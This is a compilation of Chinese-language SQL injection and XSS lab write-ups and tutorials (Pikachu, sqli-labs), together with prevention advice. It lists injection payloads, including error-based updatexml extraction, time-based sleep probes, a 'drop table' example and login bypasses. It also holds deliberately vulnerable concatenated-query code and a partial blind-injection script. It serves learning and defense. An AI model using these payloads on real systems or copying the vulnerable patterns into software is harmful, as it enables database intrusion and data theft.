pikachu靶场之SQL注入
pikachu靶场之SQL注⼊
0x00 前⾔
⼿⼯注⼊忘的差不多了。。。还是需要多多练习
以下关卡都是稍微测以下存不存在sql注⼊,查下数据库名啥的
没有将所有字段都爆出来。
冲鸭~
0x01 数字型注⼊(post)因为是数字型,直接在后⾯加上真命题,不需要加单引号测试
0x02 字符型注⼊(get)
加单引号报错,说明存在sql注⼊
再加上真命题查询到all
0x03 搜索型注⼊
加单引号,sql语句报错Payload:
li’ or 1=1 --+
加上真命题回显all
Payload:
li' and length(database())=7 --+
测得数据库长度为7时正常回显
说明数据库长度为7
测数据库名
and ascii(substr(database(),x,1))=n
X:库名第⼏位(1-7)
N:该位对应的ascii码值
对n进⾏爆破(65-122)
最后得到数据库名:pikachu
0x04 xx型注⼊
加单引号
0x05 insert/update注⼊
1.insert注⼊
测试模块:注册处
令⽤户名为quan’
Payload:quan' or updatexml(1,concat(0x7e,database()),0) or'
2.Update注⼊
先登录进去,然后在修改资料处填写信息抓包Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or'
0x06 delete注⼊先留⾔,点击删除时抓包
Payload:
62 or updatexml (1,concat(0x7e,datebase()),0)
在bp中Ctrl+U 对payload进⾏url编码
0x07 http header注⼊
1.UA头
Payload:
1' or updatexml (1,concat(0x7e,datebase()),0) or '
2.COOKIE
cookie中的admin也是⼀个注⼊点
0x08 盲注(base on boolian)
只有加and 1=1#才能返回个⼈信息,or 1=1#都报错:您输⼊的username不存在,请重新输⼊!
利⽤and 1=1构造payloadPayload:
kobe' and ascii(substr(database(),1,1))=112#
0x09 盲注(base on time)
payload:kobe’ and sleep(5)#
可以看到时间线是5s,说明存在基于时间的盲注
Payload:
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
此时1ms就返回结果,说明数据库名第⼀位不是a
将a改为p,则⼀直不返回结果
说明数据库名第⼀位不是a
0x10 宽字节注⼊
emmmm还没写出来,下次吧
先下班了,肥宅⼤哭?
SQL注入和防护简介
SQL注⼊和防护简介
SQL注⼊详解
通过向服务器发送恶意的SQL语句或⽚段注⼊到服务器中,改变原有的SQL逻辑,从⽽实现攻击者的⽬的
⽐如在源代码中存在这样的语句:
public Object sqlInjection(String param){
...
String sql = "select * from user where username='" + param + "'";
resultSet = prepareStatement.executeQuery(sql);
...
}
在变量
sql定义中,
param参数通过拼接的⽅式称为了
sql语句的⼀部分。⽐如传来正常的参数admin,此时的sql语句便是
select * from user where username='admin',该语句便
会正常执⾏,并返回想要查询的结果。但是如果传来的值为
' or 1=1#,那么此时sql会变成
select * from user where username='' or 1=1#'。由于传来值的第⼀个
'号和前边的
'进⾏
了闭合,因此后边的部分代码便变成了sql语句的⼀部分⽽不是⼀个值。此时由于
or 1=1永远成⽴,并且
#符将后边的
'注释掉,因此现在的sql语句变成了⼀段恶意代码,
这便是sql注⼊
防护
sql注⼊的防护有两种⽅法,第⼀是对参数进⾏预编译,第⼆是在拼接参数前对参数进⾏安全校验,通过后才可以拼接到sql语句中。
预编译
当⼀条SQL语句执⾏前,需要先进⾏语法分析。如果没有使⽤预编译的⽅法来执⾏SQL,那么每次在执⾏SQL时都需要先进⾏语法分析,然后再执⾏。此时进⾏SQL注⼊,恶意
的代码(payload)拼接上SQL语句之后才会进⾏语法分析,其中payload中包含的关键字等内容便会被识别,因此会被成功执⾏。
⽽预编译则是先在待传⼊参数的位置增加占位符(
?),并对SQL语句进⾏语法分析和编译,并将结果存⼊内存中等待调⽤。在调⽤时,传⼊的参数会⾃动放⼊占位符的位置,并执
Sqlserver之sql注入篇
Sqlserver之sql注⼊篇
SQL Injection
关于sql注⼊的危害在这⾥就不多做介绍了,相信⼤家也知道其中的厉害关系。有⼀些sql注⼊的事件⼤家感兴趣可以看⼀下
防范sql注⼊的⽅法⽆⾮有以下⼏种:
1.使⽤类型安全的SQL参数
2.使⽤参数化输⼊存储过程
3.使⽤参数集合与动态SQL
4.输⼊滤波
5.过滤LIKE条款的特殊字符
...如果有遗漏的也欢迎园⼦的⼤⼤们指教。
Sample:
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";
上⾯是⼀个简单的sql注⼊⽰例
⽤户将被提⽰输⼊⼀个市县名称。如果⽤户输⼊ Redmond,则查询将由与下⾯内容相似的脚本组成:
SELECT * FROM OrdersTable WHERE ShipCity = 'Redmond'
但是,假定⽤户输⼊以下内容:
Redmond'; drop table OrdersTable--
此时,脚本将组成以下查询:
1 SELECT * FROM OrdersTable WHERE ShipCity = 'Redmond';drop table OrdersTable--'
分号 (;) 表⽰⼀个查询的结束和另⼀个查询的开始。双连字符 (--) 指⽰当前⾏余下的部分是⼀个注释,应该忽略。如果修改后的代码语法正确,则
服务器将执⾏该代码。SQL Server 处理该语句时,SQL Server 将⾸先选择 OrdersTable 中的所有记录(其中 ShipCity 为 Redmond)。然后,SQLServer 将删除 OrdersTable。
只要注⼊的 SQL 代码语法正确,便⽆法采⽤编程⽅式来检测篡改。因此,必须验证所有⽤户输⼊,并仔细检查在您所⽤的服务器中执⾏构造SQL 命令的代码。本主题中的以下各部分说明了编写代码的最佳做法。
Mysql数据库之sql漏洞注入
Mysql数据库之sql漏洞注⼊
sql漏洞注⼊是利⽤sql语句拼接字符串造成⼊侵者不输⼊密码甚⾄不输⼊⽤户名就能登录。
# 导⼊pymsql模块
import pymysql
user=input("⽤户名:")
pwd=input("密码:")
# 步骤⼀:python创建与mysql的连接
conn=pymysql.connect(host="127.0.0.1",user="root",password="123456",database="test")
# 步骤⼆:创建⼀个游标对象
get_cursor=conn.cursor()
sql="select * from userinfo2 where name='%s' and pwd='%s'" %(user,pwd)
# 步骤三:使⽤游标对象中的execute⽅法执⾏sql语句
get_cursor.execute(sql)
# 步骤四:将查询出的结果取出来
result=get_cursor.fetchone()
if result:
print("登录成功!")
else:
print("登录失败!")
通过上述代码中:假设⽤户名是:user,密码:123456
在通过输⼊⽤户名和密码正确的情况下,登录成功;只要有⼀个不正确,那么就登录失败。那么如何才能在不知道⽤户名和密码的情况下登
录成功呢?如下:
⾸先我们输⼊正确的⽤户名和密码,得到的sql语句:select * from userinfo2 where name='user' and pwd='123456';
但是如果我们这样输⼊,也可以登录:abcdefg' or 1=1 --'
这种输⼊的话,得到的sql语句是:select * from userinfo2 where name='abcdefg' or 1=1 --' and pwd='123456'; 这句话是绝对成⽴的,原因
是后⾯的--将密码给注释掉了,前⾯的两个条件中,⽆论name什么值,在1=1是绝对正确的,查询数据库中所有的数据。
pikachu_通关速记
pikachu_通关速记
五⼀假期,因为⾃⼰太懒了不想出门,就记录⼀下⾃⼰的打靶经历
密码爆破
1.1表单爆破
Burpsuite抓包直接爆
1.2验证码绕过(on server)
验证码在服务端只验证⼀次,那么⼿动输⼊验证码后再次爆
1.3验证码绕过(on client)
验证码只在客户端进⾏验证,并不会发送到服务端,所以抓包的时候直接把验证码去掉再爆
1.4绕过token防护
这⾥我就得向服务器获取到token值,然后递归和字典⼀起爆
获取到的第⼀个token值,需要⼿动粘贴填⼀下,另外重定向哪⾥也需要设成⼀直
XSS注⼊
反射型(get)
直接再url中写⼊payload
反射型(post)
在搜素框中写⼊payload,点击时触发
1
存储型
留⾔板中留个图⽚,不加源,同样是点击触发
DOM型
直接单引号闭合跃出,加上点击触发
' onclick="alert('xss')">
DOM_XSS-X
同理
盲打
不管3721,尝试就对了
绕过滤
第⼀种,⼤⼩写
第⼆种,双重尖括号双倍快乐
<
第三种,没有标签绕过
某些浏览器中不需要加⼊常规XSSpayload中的”>”部分.例如firefox会为你⾮常体贴的安全闭合HTML标签,并且加⼊闭合标签!
java之SQL注入
java之SQL注⼊前⾔在java中,最常见的连接数据库⽅式有JDBC,Mybatis,和Hibernate。那我们只需要注意这些地⽅就可以判断是否存在sql注⼊即可0x01、Mybatis下SQL注⼊Mybatis的SQL语句可以基于注解的⽅式写在类⽅法上⾯,更多的是以xml的⽅式写到xml⽂件。Mybatis中SQL语句需要我们⾃⼰⼿动编写或者⽤generator⾃动⽣成。编写xml⽂件时,Mybatis⽀持两种参数符号,⼀种是#,另⼀种是$。⽐如:⽽java开发的站点中⼤部分是预编译,也就是说存在的sql注⼊少了;但是,还是有些语句不能进⾏预编译,从⽽导致sql注⼊。为什么呢?因为预编译中获取参数从⽽执⾏sql语句使⽤的号,然⽽符是拼接的意思,像like,in这种使⽤不规范#符就会报错,所以就会使⽤$。那么这种就⼀定的⼏率存在注⼊,⼀切看开发是新⼿还是⽼司机导⼊依赖
1、like模糊查询注⼊在这种情况下使⽤
#程序会报错,新⼿程序员就把#号改成了$,这样如果java代码层⾯没有对⽤户输⼊的内容做处理势必会产⽣SQL注⼊漏洞。正确写法:2、in 注⼊in之后多个id查询时使⽤# 同样会报错,正确⽤法为使⽤foreach,⽽不是将#替换为$3、order by 注⼊这种场景应当在Java层⾯做映射,设置⼀个字段/表名数组,仅允许⽤户传⼊索引值。这样保证传⼊的字段或者表名都在⽩名单⾥⾯。需要注意的是在mybatis-generator⾃动⽣成的SQL语句中,order by使⽤的也是$,⽽like和in没有问题。总结总的来说,其实是新⼿程序员,因为使⽤#会报错,从⽽发现$符不会报错,进⾏使⽤$符;但是本⾝程序员⾃⼰不会⽤⽽导致的java sql注⼊问题适合使⽤反推,先搜索xml查找可能存在注⼊的漏洞点→反推到DAO→再到实现类→再通过调⽤链找到前台URL,找到利⽤点 SELECT * FROM NEWS WHERE ID = #{id}#$ mysql mysql-connector-java 5.1.47 org.mybatis mybatis 3.5.3Select * from news where title like '%#{title}%' //报错Select * from news where title like '%${title}%' //正常select * from news where tile like concat(‘%’,#{title}, ‘%’)Select * from news where id in (#{id}) //报错Select * from news where id in (${id}) //正常id in#{id} Select * from news where title ='#{titlename}' order by #{time} asc //报错Select * from news where title ='#{titlename}' order by ${time} asc //正常
Pikachu靶场----答案集合
Pikachu靶场----答案集合
题记
这个靶场是在内推圈爷⼀个采访在顺风的⼀个安全⼩哥视频⾥那个⼩哥分享的,巧的是我当时正在找靶场,真是感觉有时候⼀些事情很奇妙,你刚好需要的时候它正好出现。此靶场名为⽪卡丘靶场,可爱中透着⼀股霸⽓,搭建环境为phpstudy+mysql。可以在靶场⾥⾯玩玩kali,菜⼑等⾼级渗透。我搭建的虚拟环境有win10,win8,linux。
这篇⽂章属于我在⽹上查找的⽐较好的这个靶场答案解析,⽤于“⽇”后查阅。不定期更新。
Pikachu靶场----XSS篇:https:///qq_45924653/article/details/107387482
Pikachu靶场----XXE篇:https:///joker-vip/p/12355165.html
后续更新(2021-01-29)
最近在公众号上看到有⼈在玩这个靶场,所以把他的搬过来⽅便查阅。
Pikachu靶场通关之暴⼒破解:https:///s/A3f-7sP7je5DKQK_XEACJA
Pikachu靶场通关之Cross-Site Scripting (XSS跨站脚本):https:///s/WTjAYKUoP14Am0neaZFRVw
Pikachu靶场通关之SQL-Inject:https:///s/Qm6VodtmNxQowsSt3cZZFw
Pikachu靶场通关之Cross-site request forgery:https:///s/rus--TRJ2FX-juogSMANrA
Pikachu靶场通关之Remote command/code execute:
Pikachu靶场通关之File Inclusion:https:///s/htPp9BiMV78IVWtblFs-CQ
SQL注入之布尔盲注脚本
SQL注⼊之布尔盲注脚本
在做ctf时,我们会碰到很多的SQL注⼊的题⽬,可能会有各种各样的过滤,有时候sqlmap会⽆法满⾜我们的需求,⽆法绕过各种各样的注⼊,所以我们需要⼿写盲注脚本来对注⼊点进⾏
注⼊,⾃⼰写脚本的好处就是我们可以根据⾃⼰的需求对脚本的功能进⾏修改,达到绕过注⼊过滤的⽬的。
import requests
s
= requests.session()
url
= input("请输⼊url:")
payloads
= 'abcdefghijklmnopqrstuvwxyz1234567890'#mysql字母不区分⼤⼩写,所以不⽤加⼊⼤写字母,还有各种符号,可以⾃由添
加
headers = {'cookie'
:''
}#需要登陆的可以在这⾥加⼊cookies
#爆破数据库的长度
for
l in
range(1,50):#这⾥⽤来爆破库的长度,⾮必须,可以将爆破库名时的循环设置的长⼀点,⼤于正常库名长度
databaseLen_payload = '?id=1\' and length(database())= '
+str(l) + ' %23&Submit=Submit#'#将#和\号使⽤url编码,在#号后将完整的url拼接起
来
if
''
in
s.get(url+databaseLen_payload,headers=headers).text:# 这⾥⾯写⼊判断布尔型存在的根据
databaseLen =l
break
('database_lenth: '
+str(databaseLen))
#爆破数据库的名
database_name = ''#
for
l in
range(1,databaseLen+1):
for
i in payloads:
database_payload
= '?id=1\' and substr(database(),'
+str(i)+'\' %23&Submit=Submit#'#拼接完整的url
SQL注入之Sqli-labs系列第十八关(基于错误的用户代理,头部POST注入)
SQL注⼊之Sqli-labs系列第⼗⼋关(基于错误的⽤户代理,头部
POST注⼊)
开始挑战第⼗⼋关(Header Injection - Uagent field - Error based)
常见的HTTP注⼊点产⽣位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;
(1)HTTP Referer是header的⼀部分,当浏览器向web发送请求的时候,⼀般会带上Referer,告诉服务器我是从哪个页⾯链接过来的,服务器基此可以获得⼀些信息⽤于处理。
(2)X-Forwarded-For:简称XFF头,它代表客户端,⽤于记录代理信息的,每经过⼀级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中
(3)Cookie,有时也⽤其复数形式 Cookies,指某些⽹站为了辨别⽤户⾝份、进⾏ session 跟踪⽽储存在⽤户本地终端上的数据(通常经过加密)
(4)X-Real-IP⼀般只记录真实发出请求的客户端IP,看下⾯的例⼦,
X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3 代表 请求由1.1.1.1发出,经过三层代理,第⼀层是2.2.2.2,第⼆层是3.3.3.3,⽽本次请求的来源IP4.4.4.4是第三层代理 如果配置了X-Read-IP,将会是: X-Real-IP: 1.1.1.1 所以 ,如果只有⼀层代理,这两个头的值就是⼀样的(5)Accept-Language请求头允许客户端声明它可以理解的⾃然语⾔,以及优先选择的区域⽅⾔
来吧来吧,先看看页⾯长什么样,看看和之前的也没什么变化,只是这⾥多了个⼀个your ip address is:::1
搜嘎,这⾥估摸着是要记录你每次访问的ip地址,以前看到过uagent注⼊,翻翻⽂章,果断有了骚思路。
SQL注入经典教程
SQL注入经典教程
1.SQL注入基础
SQL注入的基本原理是通过将SQL代码注入到应用程序的输入字段中来攻击数据库。攻击者通常会使用单引号作为注入的开始和结束标记,并使用特殊字符来构造有效的SQL语句。例如,攻击者可以在用户名输入框中输入"'OR'1'='1'--"来绕过登录验证。
2.SQL注入类型
SQL注入可以分为三种类型:盲注、错误型注入和联合查询注入。盲注是最基础的注入形式,攻击者通过判断应用程序的响应来推断注入点是否存在。错误型注入是通过触发应用程序的错误信息来获得数据库的结构和内容。联合查询注入是通过在原有SQL语句中插入额外的查询语句来获取数据。
3.防范SQL注入的措施
为了防范SQL注入,我们可以采取以下措施:
-使用参数化查询或预编译语句,避免将用户输入直接拼接到SQL语句中;
-对用户输入进行严格的输入验证和过滤,只允许特定的字符;
-设置安全的数据库权限,限制查询、更新和删除的权限;
-使用最新的安全补丁和漏洞修复来保护数据库;
-限制错误信息的显示,不要将详细的错误信息暴露给用户。
4.SQL注入的危害 SQL注入可以对数据库造成严重的破坏和影响,攻击者可以通过注入恶意的SQL代码来执行未经授权的操作,如删除数据、修改数据、操纵数据库结构等。另外,攻击者还可以获取敏感信息,如用户的登录凭证、个人信息、信用卡信息等。
5.靶场演练和学习
为了更好地学习和了解SQL注入,可以通过参加靶场演练来提升自己的技能。靶场演练提供了一个模拟的环境,供用户练习和测试SQL注入的攻击和防御技术。常用的靶场演练平台包括WebGoat、bWAPP等。
总结:
SQL注入是一种常见的网络安全漏洞,可以通过将恶意的SQL代码注入到应用程序中来获取敏感信息或执行未经授权的操作。为了防范SQL注入,我们需要采取一系列的安全措施,如使用参数化查询、严格验证用户输入、设置安全的数据库权限等。参加靶场演练可以帮助我们提升自己的SQL注入攻击和防御技术。
sql注入的演示和靶场运用
sql注入的演示和靶场运用
SQL注入是一种常见的网络安全漏洞攻击技术,黑客通过在用户输入的数据中注入恶意的SQL代码,从而获取数据库中的敏感信息或者对数据库进行非法操作。为了更好地了解SQL注入的原理和应对措施,本文将介绍SQL注入的演示和靶场运用。
一、SQL注入的原理
SQL注入的原理是利用程序对用户输入数据的处理不当,将恶意的SQL代码作为用户输入的一部分,导致程序将其当作正常的SQL语句执行。常见的注入点包括用户输入的表单、URL参数、Cookie等。一旦攻击者成功注入恶意的SQL代码,就可以执行任意的数据库操作,如查询、删除、修改等。
二、SQL注入的演示
为了演示SQL注入的过程,我们假设有一个简单的用户登录系统,用户通过输入用户名和密码进行登录。登录系统的代码如下:
```php
// 获取用户输入的用户名和密码
$username = $_POST['username'];
$password = $_POST['password'];
// 查询数据库中是否存在该用户 $sql = "SELECT * FROM users WHERE username = '$username'
AND password = '$password'";
$result = mysql_query($sql);
// 判断查询结果是否为空
if (mysql_num_rows($result) > 0) {
echo '登录成功';
} else {
echo '用户名或密码错误';
}
>
```
在上述代码中,程序将用户输入的用户名和密码直接拼接到SQL语句中,存在SQL注入的风险。假设攻击者输入的用户名为`admin' --`,密码随意,那么拼接后的SQL语句为:
```sql
SELECT * FROM users WHERE username = 'admin' -- ' AND
